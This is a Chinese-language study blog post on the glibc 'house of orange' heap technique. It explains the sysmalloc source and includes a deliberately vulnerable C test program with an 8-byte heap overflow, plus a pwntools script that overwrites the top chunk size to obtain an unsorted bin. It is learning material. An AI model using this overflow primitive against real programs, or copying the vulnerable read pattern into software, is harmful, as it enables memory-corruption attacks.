house of orange

高估自己了，这周好忙，感觉要完不成自己写的计划了，不管了，先写吧，能写完多少是多少。(后面写着写着不知道怎么陷进去了，可能很抽象，可以直接看图）

利用场景

house of orange主要利用在题目中不存在free函数或则其他可以释放堆块的操作时，可以使用这种手法获得一个unsorted bins。

原理介绍

说实话，网上的一些文章虽然会给出源码，但是不知道各个变量的定义，感觉还是不太理解意思，这深刻的说明了，源码还是得通读一遍。

我们都知道，当现有的堆块不满足我们的申请的时候，会向top chunk中申请出我们所需要的chunk，但是，如果此时连top chunk也不能满足我们的申请需求了呢？这时候堆管理器就会采用两种方法去解决这种情况：1，将top chunk扩大；2.使用mmap开辟出一个空间作为堆空间

现在，我们就需要仔细来了解一下堆管理器对top chunk不足以满足申请条件时的解决方案，以达到我们想要的情况

完整源码

INTERNAL_SIZE_T nb;               /* normalized request size *//* 规范化的请求大小 */
  unsigned int idx;                 /* associated bin index *//* 关联的箱索引 */
  mbinptr bin;                      /* associated bin *//* 关联的存储桶 */

  mchunkptr victim;                 /* inspected/selected chunk *//* 已检查/已选择的代码块 */
  INTERNAL_SIZE_T size;             /* its size *//* 它的尺寸 */
  int victim_index;                 /* its bin index *//* 它的bin索引 */

  mchunkptr remainder;              /* remainder from a split *//* 从分割中获得的余数 */
  unsigned long remainder_size;     /* its size *//* 它的大小 */

  unsigned int block;               /* bit map traverser *//* 位图遍历器 */
  unsigned int bit;                 /* bit map traverser *//* 位图遍历器 */
  unsigned int map;                 /* current word of binmap *//* binmap的当前词 */

  mchunkptr fwd;                    /* misc temp for linking *//* 链接的各种临时文件 */
  mchunkptr bck;                    /* misc temp for linking *//* 链接的各种临时文件 */

  const char *errstr = NULL;

这些是一些变量

use_top:
  victim = av->top;         // 拿到当前 arena 的 top chunk
  size = chunksize(victim); // top chunk 的实际大小

  if (size >= nb + MINSIZE) {
    // 1️⃣ 如果 top chunk 足够大：直接从里面切
    remainder_size = size - nb;                    // 剩下的部分
    remainder = chunk_at_offset(victim, nb);       // 剩下部分的新 chunk
    av->top = remainder;                           // 更新 arena 的 top chunk
    set_head(victim, nb | PREV_INUSE | ...);       // 设置分配出去的 chunk 的头部信息
    set_head(remainder, remainder_size | PREV_INUSE); // 设置新 top chunk 的头

    check_malloced_chunk(av, victim, nb);          // 检查分配出去的 chunk 是否合法
    void *p = chunk2mem(victim);                   // 去掉头部信息，返回 user pointer
    alloc_perturb(p, bytes);                       // （可选）污染新分配的内存，调试用
    return p;                                      // 🎉 完成分配
  }

  else if (have_fastchunks(av)) {
    // 2️⃣ top chunk 不够 & bins 里有 fastchunk
    //    先把 fastbin 里的小块合并回来
    malloc_consolidate(av);  // 合并 fast bin
    idx = (nb 属于 smallbin ? smallbin_index(nb) : largebin_index(nb));
  }

  else {
    // 3️⃣ top chunk 不够 & bins 没有可用块
    //    调用 sysmalloc: 向操作系统申请更多内存
    void *p = sysmalloc(nb, av);
    if (p != NULL)
      alloc_perturb(p, bytes);
    return p;
  }

出现这个函数的时机是当我们申请一个chunk，在已经检查完堆空间中存在的bins没有可以满足分配条件，对top chunk进行检查

由源码可以看到，如果需要利用house of orange,我们应该进入到else分支，即top chunk不足以分配且堆中没有大量连续的fast bins

当进入else的分支之后，我们调用了sysmalloc函数

看了一下源码，sysmalloc大致分为三个部分进行操作

首先，进行判断是不是可以使用mmap进行扩容

if (av == NULL
      || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
	  && (mp_.n_mmaps < mp_.n_mmaps_max)))

av表示当前使用的arena，av=null则表示当前还没有arena，但是一般我们打堆都已经有了main_arena，所以这个条件一般不会满足；nb表示的是我们当前准备申请的堆块大小，如果它大于mmap阈值（mp_.mmap_threshold）（一般为128kb）并且已分配的mmap没有达到上限（mp_.n_mmaps_max），就采用mmap进行扩容。

所以要绕过这个检测也很简单，只需要保证我们申请的堆块大小不要超过mmap的阈值就可以了

之后，当不使用mmap扩容时，先判断是否arena是否是main_arena，按理来说，了解house of orange我们应该只关注main_arena，关于子arena的部分我们可以跳过，但是我看了源码之后，我觉得在子arena里面如果没有free好像也能获得一个unsorted bins

---

关于子arena：子arena不能使用srbk进行扩容，就会采用grow_heap函数进行扩容，即mmap一块区域刚好位于子arena后，这样看起来就像top chunk增大了的效果一样，但是子arena的后面不一定能刚好能mmap，所以当grow_heap失效的时候，就会直接mmap。现在，在这两种情况下，top chunk的情况呢？当使用grow_heap时，top chunk会更新为top chunk+mmap更新的长度，在这种情况下不会出现bins；2.当使用new_heap重新mmap一块新的区域作为top chunk时，旧的top chunk就会被处理，会在后面截出一段作为fencepost用以告诉后面的chunk不要跨段合并，如果被截短后的剩下的top chunk仍然大于MINSIZE，此时，我们就可以获得bins

if (old_size >= MINSIZE)
{
  // 插 double fencepost
  set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
  set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));

  // 更新老 top chunk 的头
  set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);

  // 丢回 bin
  _int_free (av, old_top, 1);
}

所以我认为，在子arena里面，不使用free也能够得到unsorted bin，等会在实验中将实验一下，看是不是真的能够出现一个unsorted bin

---

好了，刚刚的猜想结束了，我们应该继续推进我们的源码了

  size = nb + mp_.top_pad + MINSIZE;
// 向上对齐到页大小（sbrk 必须按页走）
  size = ALIGN_UP (size, pagesize);

  // 如果 size 有效，则真正调用 sbrk 扩容
  if (size > 0)
  {
    brk = (char *) (MORECORE (size)); // 一般就是 sbrk(size)
    LIBC_PROBE (memory_sbrk_more, 2, brk, size); // 内部 tracing，不影响逻辑
  }

这里的size是我们要申请的大小加上MINSIZE加上mp_.top_pad（冗余大小）必须要是页对齐的，应为sbrk只能以页为单位申请

if (snd_brk != (char *) (MORECORE_FAILURE))
      {
        av->top = (mchunkptr) aligned_brk;
        set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE);
        av->system_mem += correction;

        if (old_size != 0)
        {
          old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
          set_head (old_top, old_size | PREV_INUSE);

          chunk_at_offset (old_top, old_size)->size =
            (2 * SIZE_SZ) | PREV_INUSE;

          chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
            (2 * SIZE_SZ) | PREV_INUSE;

          if (old_size >= MINSIZE)
          {
            _int_free (av, old_top, 1); 
          }

可以看到，最后我们会进入到free将剩下的top chunkfree掉（感觉太抽象了，我打算画一下图解释一下）

（自己画的，有点丑）

第一幅图就是还没有扩容得时候的堆空间的结构

第二幅图是当我们申请malloc(top_chunk+0x20)超过此时top chunk大小的空间，且此时没有其他的bins可用于分配或则合并得到申请的大小，就会使用sbrk进行扩容，增加的大小为top_chunk+0x20+MINSIZE+mp_.top_pad然后进行页对齐

（例如：top_chunk+0x20+MINSIZE+mp_.top_pad=0.5page=2kb，扩容的大小就是1page=4kb； top_chunk+0x20+MINSIZE+mp_.top_pad=2.5page=10kb，扩容的大小就是3page=12kb；）

第三幅图就是结束后的样子，在成功扩容后，会生成两个fencepost chunk用于阻拦之前的堆空间和扩容出来的堆空间合并（可能是为了阻拦形成过大的空间？还不太了解为什么会这样），如果剩下的old_top_chunk仍然还大于MINSIZE，就会被free掉，达成我们的目的

‍

所以，其实house of orange的手法很简单

1.通过溢出修改top chunk的大小（使fake top chunk size加上之前的空间为页对齐）

（其实我在源码里面貌似没有看见检查top end地址要是页对齐的，但是分配机制是以页为单位，所以怀疑是因为这个原因才需要页对齐）

2.top chunk的size 的 prev inuse 位应该为 1

3.申请一个大于现在的top chunk但是又小于mp_.mmap_threshold）（一般为128kb）

实验

其实我是看不太懂源码的，所以也不太能保证前面的原理解释对不对，所以得试验一下看看堆的结构

实验目的：

1.使用house of orange得到一个unsorted bins

2.想看看如果没有实现页对齐会发生什么

触发条件，存在堆溢出，可以覆盖掉top chunk的size位，然后为了防止tcache bin开始生成的堆影响直观性，采用glibc2.23版本（一下为实验代码）

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAX 8

char *chunks[MAX];

void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    puts("Welcome to Heap Playground!");
}

void add() {
    int idx;
    for (idx = 0; idx < MAX; idx++) {
        if (!chunks[idx]) break;
    }
    if (idx == MAX) {
        puts("Too many chunks!");
        return;
    }

    unsigned int size;
    printf("Size: ");
    scanf("%u", &size);
    if (size > 0x1000) {
        puts("Too big!");
        return;
    }

    chunks[idx] = malloc(size);
    if (!chunks[idx]) {
        puts("Malloc failed!");
        exit(1);
    }
    printf("Chunk[%d] @ %p\n", idx, chunks[idx]);//给出每个chunk的地址
    printf("Content: ");
    read(0, chunks[idx], size + 8);  

    printf("Chunk %d allocated.\n", idx);
}

void menu() {
    puts("1. Add");
    puts("2. Exit");
    printf("> ");
}

int main() {
    init();
    while (1) {
        menu();
        int choice;
        scanf("%d", &choice);
        switch (choice) {
            case 1: add(); break;
            case 2: exit(0); break;
            default: puts("Invalid."); break;
        }
    }
    return 0;
}

让我们来看看发生了什么

from pwn import *
context(os='linux',arch='amd64',log_level='debug')

io = process([
    './ld-linux-x86-64.so.2',
    '--library-path', '.',
    './test5'
])
def add(size,content):
    io.sendlineafter(b'>',b'1')
    io.sendlineafter(b'Size:',str(size))
    io.sendafter(b'Content:',content)

add(100,b'a'*60)
add(24,b'b'*24+p64(0xf71))
gdb.attach(io)
add(0xf90,b'a'*32)

io.recvuntil(b'1. Add')


io.interactive()

这个脚本是页对齐的情况下，我们可以看到

可以看到，确实会生成一个unsortedbin，然后再old top chunk下面是我们之前提到过的两个fencepost chunk，只有MINSIZE大小，然后在我们的原来的top chunk后面是我们扩展出来的新的top chunk切割下来的分配的chunk，最后面就是我们新的top chunk了，可以看到，这样的结构和我们上面画的结构是一样的

然后，打算尝试一下如果我修改的top chunk不为页对齐，有什么影响

add(24,b'b'*24+p64(0xf71-0x20))

竟然真的报错了

b"test5: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n"

原来是通过这一句检查的页对齐((unsigned long) old_end & (pagesize - 1)) == 0

所以为什么 glibc 会检查你 fake 的 ​top chunk​​ 是否页对齐，但扩容时却是从原本真实的 top chunk 后面继续增长。

其实这个问题还挺简单的，当时看源码不仔细所以略过了这一点，出现这个问题的原因是检查的时候使用的old_top=top chunk的地址 + top chunk size去进行的一系列相关的检查，但是检查结束后，真正开始扩容的时候，是直接使用之前就标志好了的sbrk，所以是从原来的top chunk后面增长

brk = (char *) (MORECORE (size));  // 实际调用 sbrk(size)

结束啦

按理来说，house of orange的利用手法应该还需要结合IO的，但是我IO那一块还不太会，就只看了一下，所以这里就先不讲了。本来如果使用house of orange挺简单的，但是直接利用又不了解具体的原理总感觉隔着一层雾，感觉很不透彻，所以写着写着就这么多了。不管了，这里到目前就是结束啦！

（好久之前写的，不知道为什么竟然没有放上来吗）

参考

堆利用详解：the house of orange

‍